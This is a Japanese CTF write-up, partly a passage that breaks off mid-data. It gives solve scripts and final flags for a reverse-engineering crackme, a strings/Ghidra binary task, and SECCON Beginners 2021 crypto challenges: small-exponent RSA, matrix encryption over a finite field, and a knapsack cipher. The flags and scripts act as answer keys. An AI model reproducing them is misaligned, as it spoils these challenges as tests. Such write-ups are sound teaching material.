def checkends(password): end_status = 0 if password[:6] == "SHELL{": end_status = 1 if password[28] == "}": end_status = 1 return end_status def checkmiddle1(password): middle1_status = 0 if password[27] == "1" and password[17] == "4" and password[8] == "n" and password[23] == "y" and password[10] == "0": middle1_status = 1 if password[11] == "n" and password[12] == "z" and password[13] == "a" and password[21] == "g" and password[15] == "u": middle1_status = 1 if password[16] == "r"and password[7] == "3" : middle1_status = 1 return middle1_status def checkmiddle2(password): middle2_status = 0 if password[18] == "_" and password[25] == "5" and password[20] == "4" and password[14] == "k" and password[22] == "3" and password[9] == "b" and password[24] == "0": middle2_status = 1 if password[19] == "k" and password[26] == "h" and password[6] == "s" : middle2_status = 1 return middle2_status # driver code a = input("enter your flag:") if checkends(a) == 1 and checkmiddle1(a) == 1 and checkmiddle2(a) == 1: print("congrats thats the flag.") else: print("Wrong flag.")
check関連の関数内にある配列を並べるとフラグになる。
password = [''] * 100 for i, c in enumerate("SHELL{"): password[i] = c password[28] = "}" password[27] = "1" password[17] = "4" password[8] = "n" password[23] = "y" password[10] = "0" password[11] = "n" password[12] = "z" password[13] = "a" password[21] = "g" password[15] = "u" password[16] = "r" password[7] = "3" password[18] = "_" password[25] = "5" password[20] = "4" password[14] = "k" password[22] = "3" password[9] = "b" password[24] = "0" password[19] = "k" password[26] = "h" password[6] = "s" print(''.join(password))
$ python3 solve.py SHELL{s3nb0nzakur4_k4g3y05h1}
SHELL{s3nb0nzakur4_k4g3y05h1}
sakuna
Somebody told me this executable has priceless info hidden.
とりあえず、strings を実行してみると、以下のようになった。grep 結果を見ると、フラグが分割されているように見える。
$ strings sukuna.exe | grep SHELL -C 5 D$ H AUATUWVSH T$ D [^_]A\A] fffff. SHELL{ 5hR1n3} M3L0v4l3H CongratsH your flH ag is coH
Ghidra で文字列の参照箇所を確認すると、strcat で文字列を連結していた。
正しい順番で、文字列連結するとフラグになった。
SHELL{M3L0v4l3nT_5hR1n3}
SECCON Beginners CTF 2021 Writeup
SECCON Beginners CTF 2021 について
SECCON Beginners CTF 2021 が開催されました。
2021年5月22日午後2時 ~ 2021年5月23日午後2時(24時間)
score.beginners.azure.noc.seccon.jp
今回は、久しぶりに個人ではなく2人で参加してきました。 結果は 35/943 位、2841点でした。私も実際に12問解くことができたので、そのWriteupを紹介します。
SECCON Beginners CTF 2021 Writeup(12問)
crypto
simple_RSA
Let's encrypt it with RSA!
simple_RSA.tar.gz 0bf8879ad05cc4b49a643f4ef3c8672468862d56
想定難易度: Beginner
output.txt を見ると、以下のようになっていた。
n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 e = 3 c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
e が小さいので、Low Public Exponent Attack が可能
from Crypto.Util.number import long_to_bytes from gmpy2 import iroot def low_public_exponent_attack(c, e, n=0): while True: m, is_perfect = iroot(c, e) if is_perfect: break c += n return int(m) def main(): e = 3 c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613 m = low_public_exponent_attack(c, e) flag = long_to_bytes(m).decode() print(flag) if __name__ == '__main__': main()
$ python3 solve.py ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}
ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}
GFM
Github Flavored Markdown
Google Facebook Microsoft
And...?
gfm.tar.gz 0173234ba9eec065ffdf5ec88aed1e0e829f1038想定難易度: Easy
probrem.py と output.txt の2つのファイルが与えられている。
FLAG = b'<censored>' SIZE = 8 p = random_prime(2^128) MS = MatrixSpace(GF(p), SIZE) key = MS.random_element() while key.rank() != SIZE: key = MS.random_element() M = copy(MS.zero()) for i in range(SIZE): for j in range(SIZE): n = i * SIZE + j if n < len(FLAG): M[i, j] = FLAG[n] else: M[i, j] = GF(p).random_element() enc = key * M * key print('p:', p) print('key:', key) print('enc:', enc)
p: 331941721759386740446055265418196301559 key: [116401981595413622233973439379928029316 198484395131713718904460590157431383741 210254590341158275155666088591861364763 63363928577909853981431532626692827712 85569529885869484584091358025414174710 149985744539791485007500878301645174953 257210132141810272397357205004383952828 184416684170101286497942970370929735721] [ 42252147300048722312776731465252376713 199389697784043521236349156255232274966 310381139154247583447362894923363190365 275829263070032604189578502497555966953 292320824376999192958281274988868304895 324921185626193898653263976562484937554 22686717162639254526255826052697393472 214359781769812072321753087702746129144] [211396100900282889480535670184972456058 210886344415694355400093466459574370742 186128182857385981551625460291114850318 13624871690241067814493032554025486106 255739890982289281987567847525614569368 134368979399364142708704178059411420318 277933069920652939075272826105665044075 61427573037868265485473537350981407215] [282725280056297471271813862105110111601 183133899330619127259299349651040866360 275965964963191627114681536924910494932 290264213613308908413657414549659883232 140491946080825343356483570739103790896 115945320124815235263392576250349309769 240154953119196334314982419578825033800 33183533431462037262108359622963646719] [ 53797381941014407784987148858765520206 136359308345749561387923094784792612816 26225195574024986849888325702082920826 262047729451988373970843409716956598743 170482654414447157611638420335396499834 270894666257247100850080625998081047879 91361079178051929124422796293638533509 34320536938591553179352522156012709152] [266361407811039627958670918210300057324 40603082064365173791090924799619398850 253357188908081828561984991424432114534 322939245175391203579369607678957356656 63315415224740483660852444003806482951 224451355249970249493628425010262408466 80574507596932581147177946123110074284 135660472191299636620089835364724566497] [147031054061160640084051220440591645233 286143152686211719101923153591621514114 330366815640573974797084150543488528130 144943808947651161283902116225593922999 205798118501774672701619077143286382731 317326656225121941341827388220018201533 14319175936916841467976601008623679266 112709661623759566156255015500851204670] [306746575224464214911885995766809188593 35156534122767743923667417474200538878 35608800809152761271316580867239668942 259728427797578488375863755690441758142 29823482469997458858051644485250558639 137507773879704381525141121774823729991 29893063272339035080311541822496817623 292327683738678589950939775184752636265] enc: [133156758362160693874249080602263044484 293052519705504374237314478781574255411 72149359944851514746901936133544542235 56884023532130350649269153560305458687 67693140194970657150958369664873936730 227562364727203645742246559359263307899 98490363636066788474326997841084979092 323336812987530088571937131837711189774] [244725074927901230757605861090949184139 63515536426726760809658259528128105864 297175420762447340692787685976316634653 279269959863745528135624660183844601533 203893759503830977666718848163034645395 163047775389856094351865609811169485260 103694284536703795013187648629904551283 322381436721457334707426033205713602738] [ 17450567396702585206498315474651164931 105594468721844292976534833206893170749 10757192948155933023940228740097574294 132150825033376621961227714966632294973 329990437240515073537637876706291805678 57236499879418458740541896196911064438 265417446675313880790999752931267955356 73326674854571685938542290353559382428] [270340230065315856318168332917483593198 217815152309418487303753027816544751231 55738850736330060752843300854983855505 236064119692146789532532278818003671413 104963107909414684818161043267471013832 234439803801976616706759524848279829319 173296466130000392237506831379251781235 34841816336429947760241770816424911200] [140341979141710030301381984850572416509 248997512418753861458272855046627447638 58382380514192982462591686716543036965 188097853050327328682574670122723990784 125356457137904871005571726686232857387 55692122688357412528950240580072267902 21322427002782861702906398261504812439 97855599554699774346719832323235463339] [298368319184145017709393597751160602769 311011298046021018241748692366798498529 165888963658945943429480232453040964455 240099237723525827201004876223575456211 306939673050020405511805882694537774846 7035607106089764511604627683661079229 198278981512146990284619915272219052007 255750707476361671578970680702422436637] [ 45315424384273600868106606292238082349 22526147579041711876519945055798051695 15778025992115319312591851693766890019 318446611756066795522259881812628512448 269954638404267367913546070681612869355 205423708248276366495211174184786418791 92563824983279921050396256326760929563 209843107530597179583072730783030298674] [ 662653811932836620608984350667151180 304181885849319274230319044357612000272 280045476178732891877948766225904840517 216340293591880460916317821948025035163 79726526647684009633247003110463447210 36010610538790393011235704307570914178 284067290617158853279270464803256026349 45816877317461535723616457939953776625]
probrem.py を見てみると、素数からなる行列 とフラグからなる行列 を定義し、それらの積を計算して を求めている。
よって、以下のように逆行列の で積を求めれば、元に戻すことができる。
import itertools SIZE = 8 p = 331941721759386740446055265418196301559 MS = MatrixSpace(GF(p), SIZE) key = MS.matrix([ 116401981595413622233973439379928029316,198484395131713718904460590157431383741,210254590341158275155666088591861364763,63363928577909853981431532626692827712,85569529885869484584091358025414174710,149985744539791485007500878301645174953,257210132141810272397357205004383952828,184416684170101286497942970370929735721, 42252147300048722312776731465252376713,199389697784043521236349156255232274966,310381139154247583447362894923363190365,275829263070032604189578502497555966953,292320824376999192958281274988868304895,324921185626193898653263976562484937554,22686717162639254526255826052697393472,214359781769812072321753087702746129144, 211396100900282889480535670184972456058,210886344415694355400093466459574370742,186128182857385981551625460291114850318,13624871690241067814493032554025486106,255739890982289281987567847525614569368,134368979399364142708704178059411420318,277933069920652939075272826105665044075,61427573037868265485473537350981407215, 282725280056297471271813862105110111601,183133899330619127259299349651040866360,275965964963191627114681536924910494932,290264213613308908413657414549659883232,140491946080825343356483570739103790896,115945320124815235263392576250349309769,240154953119196334314982419578825033800,33183533431462037262108359622963646719, 53797381941014407784987148858765520206,136359308345749561387923094784792612816,26225195574024986849888325702082920826,262047729451988373970843409716956598743,170482654414447157611638420335396499834,270894666257247100850080625998081047879,91361079178051929124422796293638533509,34320536938591553179352522156012709152, 266361407811039627958670918210300057324,40603082064365173791090924799619398850,253357188908081828561984991424432114534,322939245175391203579369607678957356656,63315415224740483660852444003806482951,224451355249970249493628425010262408466,80574507596932581147177946123110074284,135660472191299636620089835364724566497, 147031054061160640084051220440591645233,286143152686211719101923153591621514114,330366815640573974797084150543488528130,144943808947651161283902116225593922999,205798118501774672701619077143286382731,317326656225121941341827388220018201533,14319175936916841467976601008623679266,112709661623759566156255015500851204670, 306746575224464214911885995766809188593,35156534122767743923667417474200538878,35608800809152761271316580867239668942,259728427797578488375863755690441758142,29823482469997458858051644485250558639,137507773879704381525141121774823729991,29893063272339035080311541822496817623,292327683738678589950939775184752636265, ]) enc = MS.matrix([ 133156758362160693874249080602263044484,293052519705504374237314478781574255411,72149359944851514746901936133544542235,56884023532130350649269153560305458687,67693140194970657150958369664873936730,227562364727203645742246559359263307899,98490363636066788474326997841084979092,323336812987530088571937131837711189774, 244725074927901230757605861090949184139,63515536426726760809658259528128105864,297175420762447340692787685976316634653,279269959863745528135624660183844601533,203893759503830977666718848163034645395,163047775389856094351865609811169485260,103694284536703795013187648629904551283,322381436721457334707426033205713602738, 17450567396702585206498315474651164931,105594468721844292976534833206893170749,10757192948155933023940228740097574294,132150825033376621961227714966632294973,329990437240515073537637876706291805678,57236499879418458740541896196911064438,265417446675313880790999752931267955356,73326674854571685938542290353559382428, 270340230065315856318168332917483593198,217815152309418487303753027816544751231,55738850736330060752843300854983855505,236064119692146789532532278818003671413,104963107909414684818161043267471013832,234439803801976616706759524848279829319,173296466130000392237506831379251781235,34841816336429947760241770816424911200, 140341979141710030301381984850572416509,248997512418753861458272855046627447638,58382380514192982462591686716543036965,188097853050327328682574670122723990784,125356457137904871005571726686232857387,55692122688357412528950240580072267902,21322427002782861702906398261504812439,97855599554699774346719832323235463339, 298368319184145017709393597751160602769,311011298046021018241748692366798498529,165888963658945943429480232453040964455,240099237723525827201004876223575456211,306939673050020405511805882694537774846,7035607106089764511604627683661079229,198278981512146990284619915272219052007,255750707476361671578970680702422436637, 45315424384273600868106606292238082349,22526147579041711876519945055798051695,15778025992115319312591851693766890019,318446611756066795522259881812628512448,269954638404267367913546070681612869355,205423708248276366495211174184786418791,92563824983279921050396256326760929563,209843107530597179583072730783030298674, 662653811932836620608984350667151180,304181885849319274230319044357612000272,280045476178732891877948766225904840517,216340293591880460916317821948025035163,79726526647684009633247003110463447210,36010610538790393011235704307570914178,284067290617158853279270464803256026349,45816877317461535723616457939953776625, ]) M = key.inverse() * enc * key.inverse() flag = '' for i, j in itertools.product(range(SIZE), repeat=2): num = M[i, j] if 0x20 <= num <= 0x7e: flag += chr(num) print(flag)
$ sage solve.sage ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}
ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}
Field_trip
Someone is getting ready for a field trip.
Field_trip.tar.gz 6efa6c52b324de267fdef730071c58fb003eba74
想定難易度: Medium
probrem.py と output.txt の2つのファイルが与えられている。
from Crypto.Util.number import * from random import getrandbits from flag import flag flag = bytes_to_long(flag.encode("utf-8")) flag = bin(flag)[2:] length = len(flag) A = [] a, b = 0, 0 for _ in range(length): a += getrandbits(32) + b b += a A.append(a) p = getStrongPrime(512) q = getStrongPrime(512) assert q > sum(A) pub_key = [a * p % q for a in A] cipher = sum([int(flag[i]) * pub_key[i] for i in range(length)]) f = open("output.txt", "w") f.write("pub_key = " + str(pub_key) + "\n") f.write("cipher = " + str(cipher) + "\n") f.close()
pub_key = [1627727230910376679190305250495462377673127325457772051463473603239280851247844857775094804468541458382943793317239787693930638537905012556126829098198853, 11390077915029058809550131014512708496324218365383793403681859478983277851788559377973666759678894435638593981031042225181697704452107123180828946159773515, 8179148350749291474514716907983121255146115753248586194447416551426945499482207275600097490935543753034574160607266468264368850157525750760264486882342004, 10941812031082272057798702874172927467797501065302416966001023128384698906928085390135010716098940533908593173515390255250462556662539593195364174183111378, 3614745341275480428658319936106342479447545475997102535381861144548202616710068200734103360803941309632252623075660097928171614636575252144104941167875823, 823178354506932008674641402551278888372261897630495965386060191754392263016108442664620321118524856044971184623847186758394463971043188530296897451771186, 6126448477839481210946440528787637248330004648968502621267179732866433426925983876878526325407025084527441161833253484921016836135453814544622972372789122, 7466110955532217718350434679985113267727029661150471938943244057893689660733974538173921362412025690616586611377720710981300593198085731197422760123486823, 8494763827840222748734700648979436004399105472251068803766808893440611752185480154140145100605542790978072404829682982969121103538123360622748789468463235, 11189720630530432372988722422207131896593163626212669159020725119617893436033981396794415249303994853786917522131094575897127888600143225647812363683556711, 1715148450280854136862317182605666023423823213970399964487054641958918804151884265498646179998842243400236338074592006759506277918874694729594147582035223, 5540431799313225600289987101975658390666115836842131612473239501357335750526216599306611213275093940185339830230979569745307094862150569297375944630143685, 6065288708774786746551562482382919833260656987958350973874133802701002919726540869583838838759287884702711861900261459529790522631020994523440533144502775, 7234486161196695664277498569820928727263659579862329533231742765775361673322113762206501017047056413054134570841827024859772736445100885511621826030636721, 5790466157587780811391418203868871988082506102567632509545303269169653572768191738557448523974150628231236540920327049499163032154806889411357922070960923, 614487011969781591950160360975242589085019947676643049152128264494968822101147186721613098402364118730615692871650144954496839040414405067974702421023905, 2278335646833352836053675691559323543806718574568397090218657707516163081796224967487437830189535674711866517339720796812479305160299543957122930902733680, 134879407361379889128094711300170056598390106523526115878191161673136372971584663792937617159109985222609270062841930765578765868002121297161450924875670, 9519287056894525158582578864977452979099306021811340603346876269211863740542948640369599220180050455648379571390554225127442591697808606219706674595426234, 8402285089367247619745011222681496327228844899382581802919813910782074703470238610758895365966927878107041275900491204851884282695630780037206677089073743, 5406457121320262339650448405765205909738170940504528472739736687195948514104117332533865686024659827591710796087546713263642562769582609048315709994928120, 3801142902357168548686125964812533589729813463183268403565815227989154972362571932731819983704767934865803934241215040857671291683075724662922338415917182, 5436947858801618770870878269048974285422847359285195936610682423767931295811884290027916455982229786770673284249525164815726004308812462166914799567512132, 3815052792278989714677334168820537877167491234877274326563177152219263932218376863319752340985935154603585067421571719480783708315218297849199545235122158, 7027654996878753275961749122684655552094983534693747937102146760033187963841168663352245494579053154889790710851894666675012966264073470852357878798185461, 1902120513092875903338226046347919002820646057582844141644280347474263924997621676201569803130224359726311851288100274056706312976734099927488849060865100, 11761048354354487182165243290860187512062141561289470397986167013898235429358707127696368115069038004916028536939325487876797540965691324574012326619996716, 9757529573128395073155274559294819779368946395358435204233094762544296369601908201919613288263346489553542399982377228944641012976067072706476767936937491, 2453946098113482646488949231406349598804639726542182990917700647199960018577504360015030201773257233191736013580250768440614299316063045659162111320187018, 9319706037803173583171999553640056770008389931059980211073835507260771807765054342788152787019226685278576061693822692868824482538539619437423931723867638, 2415898081000285885317495095869472168214386057550401076099272996668473089357177847144038836740891535925645870811083042646884362664103196192764729813731836, 6831371739629516878762522327702302241691133397282458321594420516244457682248807904681947662649834044913983745000847132408435191823193733626430289939177704, 8911487453444536593323920821809421883218471526912139746762963559650262957593522887117811194390719914863010957953813489075136297325877225195754168400092143, 10827165969679594628739062220054978610293037445161650396571452340162805594515879042614168001849163738612474327713960410907001062746512950632119899645486165, 704502156006234895839438994186203068165985741674000184830486957231155986311282679180631398966930213171517941820858545126492495344870861094407012184640823, 4290415868027081329996593194887552166008805715995986555372686051077953073250496320908121226211705000105956461168744315858180066368242874040891532657113169, 10545064273500469407002351635866768900216078230158001025925896743623392315718385811101431137913336305418674086955813416589952935610377379991777656464560904, 222038761397496749360785916329206840697038382632411616626840724191778442228487034550449387870944140465498765132320783016190199911880849496664880021486811, 1441186128607304956019821803029517117342542746331149661877318328445155144327519269434552605831697245827929704875263722242762828396110183771144964459394537, 6262035322760676455872259557860354851246503548034172638052912261395035948982118234312601487324050800839022328905285373880135361896745345697099469992851131, 4524184613244291795109754414667150818999629856838115549409097166729848395081524481473123941545320222662731732155390386071843025802825179816381298820729824, 5283966263613790830455133450578806522976393376747821388280595897660468710659040194781402893846259456267710256514673635793738636888433235312976117540997670, 734269568748111640052090946231180906652495087236442702545338576377208172123085276589342632556585327179776362520321678519591781841790141214498484270905176, 9451656806863570616172924236279721588970386798009311529339115014539046020513297990270343561908720603044124605812085133334217197137400578937155121179082520, 3051642371650657054700521038491519744705758620980094104902981323717627057520029747610177450175370083995813698968822095618298179968058178062764130608659423, 7138952449752237733780319852689997148652360533005590188952403508900689828377062768778919668480243722079246374005954390574613559146429228635500313866647830, 338855726414699556488111033893516095818452279804805254966111715246104055445804382690731870669031649972111753917285671926417016391990572580298041758371253, 9434338110989485656020470689018936204735538469042920590064694759331237737230785701304245293791165210985574378910680725501788497370867036347820422455861008, 11743357680578349359162842808973807055764041927045206000202223764225228589230152100644412242832121778126080931892859490461297768718139167127509484426935516, 10809477666198375316415855765052746110763351926084144990851771467019653102707561871201368035835499988211685995329231458471783072292334735121148934257474481, 8361290012462548161951254835930186683493837370922544617362025529237532210142924359445724137459698924851513253914440872353889163895924265960022186220544709, 9110331121231523509307877539206254496672950206166437894520019335519961179869340990239003361109383043974388021961851540679419112950782472645836218947069184, 10393081243233784801735338636405290390807650076446916623218248492311682427662136868388090954521461644084639834083277464607638024855738147795387101337574226, 8635144191933378357854933636265474571012056586049858041465470568749464263500256261392037808005866345720862774122069273582266436367817433458956532049780774, 4418352683953086382401924269854964217677896486679104773071252777228873262401683489714714052284264053149769016874563276933086640659387489800484854697533082, 11405236243645314277535277368602821528967628188171456747788000113810218023475667423693365373226884179614448925519215120109302962469860586286886119774049347, 2771015879550163030165657530654451086641677020792616747235577420773494369048734442366451848062127222028674614372620701644053503582161481006114727140581880, 9898040106597885401583759646390295107361734996622402136464938780239784598493749472168979827154809586241421519720993011993090134889937532355080074694914236, 5777113427214185313997366187449136632797879082988812318910143048720548368905732814341066506919809935796023024351923191808765189492249761422655292085807672, 629078785533612849316912686429345503590958550796433801577651410881398124391524995844450352946049732397726053930432847836219823262977515490137563736301854, 10801401295641411092684548694395594070024865629243283117987852161404597651908799260812686233176670601757986605943575400167658544559357084608391881834446315, 230070532084711979714073115090944140276333108429708057888154566997156763934572283796043255414920534623439966012683795418379115522344166096620802666822158, 2653141234649791159270555987752178497577182383710867439287180210805265047951979750613536416122211396079337182535060893836409041761200653941413783366601647, 9819385030911488229711423422290746871860893626170080234281491318242107780563809621339193314159985954076683835744606911808745839075685015953738930366461504, 10787755099446585851067558577389646651361480328446469420228814545570006340103348743933813554961768885774075313271971611985063086273746596057549133130286996, 10263252536258338191094138495727374812304043040018874292736338983366473600613438579330512622405111321614329014124397343691422153751941094425939148115419144, 8264896351960310713538344637075442139532971304017521357074393238425679130058257615139742072920826381868768043200623504461528962772634922574219204008611446, 2147098598151809758012396937896797587780500058011635682566222787994691651248284456431917338694337594118487127099227127261521149212812046027401283431626653, 835919714553401942404334437551365593064566099647192274874446759913634276581629201627681467376279981880841428500989955273531853693899249169333824801078750, 3137791999402738811435798454665497017869650524841428289369351443750201278747862575707706000714058324362992205288888567315278677490077727774835379088436006, 1349083629045995316048152731789283957044698996027937078185713363080897115381735648010571340344037922487894330206612400451771128607496786215899669980572631, 7151470156920468764362424494490172229163475650617111710841057240618925425354832625922496799292567847545183967966217669595274609257135294729383362095738774, 969214900808450132888751546918076429566821040071276149919254643349125098280414720732281136532422094620745562927599642733412626063657268885891539827291347, 6837332378607129931141030022171984123309503518721395037825344337090610567350813310712435580992877616537619887480522470873869606202135747709672130000907665, 8364995496256554616029977590294874242060213310040785018239136897992699511676399955908119484626044885062103507697132148339409250907597810483796867399165984, 11150349307177473530307176249702818877580126605366046220776402492478240524483158185915502079277290319184145846124682470893997182480458282506949040910499392, 1658289696192983790897943272438520487042075314752724083703126291291970666851342327974958388331127028328164897980277317490557958037865872463479747423524926, 9131362533429004401441350892122360841764586109487383276247013461128740601257141642707756754491618871428100079351302334977304105019443858133126184771545043, 9330397298855941369542973735462725696662687125148526787140181659060684716824505001027119473890099274372275476966877359227102525263938755962082724482518050, 10253738743836159588621071259178219022563765128400530571588761301542176945143921956862350468019119752368079008322471485199577898502308114141549691485328119, 11600594703900902422866629561800220560103998368093720941938164737980026015168964844534647856810134441227007791139257922310172433764469537384240765031240277, 2244615925157610777383156726581397246130116260122731876532858274705570510773554286422504200282490618833439009494062776847822891629410146208293931139019598, 9733004403706149967520978404543771261324511435667728541178207212979721154676382281225409760729300022193360065470568452825325123972934958237623605165978375, 254354500603048544344274289207513537562120915759345747274593609495132631100017756321505502767286130589730909912096517138306900867943453650871702051139820, 8370794524988243638695092359570003691661556745490662742148202903860415924783217755602807126418561604959238898020252625472585689205979031497593592055937411, 8794340191988240556017659906713384748965043778452355164633928970799666465022803989063363371175889737930849051628085913544959957566363686438835153843412939, 5332480590532842430323558618578543509309546254138522597994235482505696944206135906595816348986471057105575982103534851867035705911825105890554636399117959, 3950651369214765379669331091209846132473398609747032844881769499832818398279627204457821432880778469543121042120812033753781942045800062715602362551437446, 8764597745555787966301901389786365105087694140863727334245233470132110641169237259387203997461935069288656230569502194991969216616783525833400312149135717, 10893671311442357810344005102450557175906931304022699347689646165105262580304776183017675980891676148589951193879822475240682617753093939204073908090934123, 9279851910251720350566986284138542667714345125643347097239195337905126099452241423018671935749811042002501428789486379723371928823690546158499167561377363, 7467311785687010437555773880658735452282769858571517461749051862992815684658577766003123130545826154620513903602757430481744043605817836120355235645161971, 5108725545796520008985875560900754734992617221769641586339788732236758184078757049778190729232684046606028473386534748941226434872542329986204159374865318, 11867699353985069790536624225866578465253057547038747367192323201103495572410886289392307344367210629571626846502738311475794548637804314691361883633660854, 3307955753584481516914855590837996820524452980430232447056686239509247300748140903481811349702734702088092190468590865868219632872299773637242697461456553, 10198102385245501857792898248520943901262126311232584209734399129163853603686024999279049967928201510400871689285418724239616764378384016527780204413216674, 8228299095729026478677409017032361626919004386605335618535716218424202290478453122140182082896822897053196677144530584164608155945616171423914566350006168, 5112786368092391279903606929743330066336471986263730056133931970470350367734928619591357871627106533582770983308703750603891628446704447489958729107713715, 10469735493230359064821542968197039289870670760006858877107911033538981312661996508702709711101453750156345711233887576764596618880116679535070758686367835, 9196198524335526563875694798089709262412006598320807967509365313289345737999012223767852725432769548784378062829358869705294718633979410353031005678221802, 6683277380933096532362852252484564886247729619973370408526339212096381484171620318859617374568197001310631889191807697663323642106913958849690224925461694, 9529613981769374073447341366884871937833846177760706872163980387662932372533823749575103833419092123484129940660046036074238463645988110467224610841798396, 2266794669069907087687293539109983357111262788594707965340396512153714241039180932421689734859164235712168843370543545431747673801363827867496870372125336, 1866657295458158454881522810715564591136349581564835527057025586296173873670918151349885379247546649061814138440749434231115994040006915887222214832216793, 9148338051604628974249176335472004157326441570701111334833644249222513670344916886670861683334321358810579899657217206257613558265823876085505454588007968, 3150970195117521652874271187992011688081846017889819628953971423349119288736936005559152214262722455740251518841347209225787560336272283302792820677155456, 2654815978280349195745421700490321540189264095484815485625765415487938591288435811537239820689235000000161324407221020096227903798822533164408384845279219, 10613712470437968081140979473098189731268139640670987306626304368616232817231479865616941989006606100283262512680880271451166161316286745812304949833618532, 584771700542193176410575206781719730381455972184594687314858310873745548037581699189913439808225843016877940196620523275735084018626160581660280994642977, 7752227206782612731330946605694126516789657852557775310044628700046190614760547318085553165126745983752673912673179603938501945102414356429679923126279635, 6181114125680462568335637321427121237211288385454147219539532450576260468665546332121469615286892296528834796051391696892578291511969538036639317451275393, 9135050673473900291782130971149267435204316475664597051965244543275596770270798810469766060093645817494350474433396115526366874458378951375630266775342673, 10823484837094701160540558686227927842943057819522139544135134044387262556730658594806349353577086449873005218586065819838718307881055159834974985844681301, 9983072533960933746418223838369711407232082297937881132317170649759456192810500555555337035974971942717934370671547654549936811199706777826630199849997893, 9496860292179603670920445704807780801671759827403400028732735007396868161785125605066594722355616018953537321578676302542059539384517799908274423326672419, 1703385660623950359050969801655519572699157230875334655419427425211519057467450009673619270811656302454948012601207060423808873812556848095400818203864, 1124824934298417769296957031482302153675496794359839176778073940948277366770010987547411988487713939288525606195470668176368430409031376391243742928188737, 3229481917557768819829086515377643522962590749891024608854142700316113763497423916549064184792610168714433142930480984048981188717417434429561511671863340, 8294104032436327777486159971264402767334649287841961190030297139466131416369517365641129837491598616986084921647405266807970727164692073754656655602529261, 10841558702848626512201447043784390704658214933053467482697472164169627348933072901533434861934797167954203691251466593055982136720490185778511573725463091, 3178930784687138843088596584997903179579922587867410882667347234930875487458734591193687966659517370268916417823125671401884196339836390571169682168714634, 7454151195962571505291413229201537150280824884428852910895643182678249719784935336643779191181482778848818993208221255258132534583411781119205078130090493, 2015156865486836120778682378960560170098671955237858754748152131638573845290736893280308181218687853014604174145816633360273506979314685066746558185772213, 7518280147605752377356085467400615547824826179564770315069235526007505409683817948956679988243512932507522237221929606038316891387806953147114552195723037, 2024819075929565623167333132137655283846300903116425428839619347379614001726638635657985601976090872185635173118822397894048579095835679930797308966510161, 6215993704628241793832033783162789293924516338030608992171516163123272062860326445636293235015378684705933988212973591046212191958652259015996841348525233, 10721074643733864954970318017687419861549782195881708432332255884413370619291750997381857646366632973722794738669419561902209255528214363399300572318598976, 11051099778413936201588813479333950625696456591449077944829525186174150306810041964709311295480133149976157065280899311313708649194744567649855692630214364, 1688310516465382129824706766300320323086828782213510237597315430363470883127564821837914550530086658434882374985922949368294443247364921794573340486906238, 3192364479471168028710837283899918625935362325330335301033556406770563105461096419504116373286876626652315031493543268384008485267512339959435053933841313, 10572194847482440812332986591051630462883201860708366563698662854481883222498284684687782612499400666528966898408853346133591660937905688329633621416854553, 3947736123018809396047345259826555348314283757126565484195977099646537310353904000152697460719528310696082204835098702895122864267256319395558913520116392, 11182766638391936877995854197520085129151384977709217790829422656082419193097932980148237939707803168327610358370853571892812158944282257498680855767229677, 3785005419673190260210131419611296437580991153996528806706953071932484677468263744891384933085989064774778069519276028906778427000799962507340099134917935, 5080917081750594708323405365145453207238012111759111382500875071859284459953169985334929889554817530710648209427731938198054042780871188922340543142924939, 4048618658491596677603187303911377706030641697591465631347400097836527581077675625158162761353955215178164330226108795767011183973412955473474219799087197, 10756640002316419897851435267941668380681904604159814743578516612294764433749019434802471420890142162949979364053015555721098798895592890837753394402601600, 9576566069431525883762715341983732560085629671089897559307942342017237423144442133049657728319197511124149519512976698322385517896297503762943044451831682, 7165568955290222509156785556616132982441722968221047749287853532522706162989495783845174854505888062434423314563689608447591958198763443599582520354403262, 4886305788841254495561906932817366567996456189096683440102055315067086182866905742486434971809212556403255604320990070575999450589283865669827032247378026, 7974570179507384046793957867326714371457957470114044411785079610018843160599140562038134667373750144719208045822373607909523650049764790454624533560094438, 4699399884541021847518656224539601167184097708756378716924596672912033629859806682769146527434005646171138846377909985611374237928982199839841484034595124, 284699436285137586151623117958887854384067390251467180741921703094848380911015079304006363413374407709029807303242873481239873129968266824381074061576781, 7424603511991768566970306812540965037304046015506639020124822754523996481221874622779988256386434795599778401964853467233299073228923733026307559753461753, 10204802163769309817146573619091345092885022518990654924014656950712859972992223551924164346235264566717972681978724897809251721761375877244325753782176857, 9438420831957673445603305728093735430853841298036258989011836327310515846466591187953907621823894906525289199249629125784422458200828675239244266235272346, 10890020912636917421687599720986965506018026168566001306712363618691959621006154914816267736938077225993112076739368505752571167457735320815453253378863503, 7612905558494937122786907665601018921881673472453283960241071713931932464659066013897727134859798086411171769879216045995689241333798042462244230212212984, 6550836530141701911622212575637172610040961303781916329326618809093764882252631974098246519703546676024381344519501504247292099463026478299004729842120794, 810463246670448806288456723577253991309434245269230870268065162161683791423034382984779736398143238385314386270683813736785640795616980760740211633626680, 7987182793636123387405676060009070849539867837366546908532424481956731048800366776798314558709408103425915728898034756937642304986810890072970609409560920, 7214351975158893076759227293921988348242566545977916782340607663706728189002123227844454484007467068046595059915519900187040379326564702309329878614144193, 11014878924638095287994257524709668434779725530794695530401129023156413550436897097358726050238680106826431375584530778605250124880702844280402008225394872, 6027887507568715893917001583622263960984925990340905403518345783740595181396031310602841240588909634580493242079149694551634238251017289222201905339455410, 416347896819517370094008870355298145260975680342177838528189406107683995143464927834127034596304824694484130253280370972827705469927428341950098126774907, 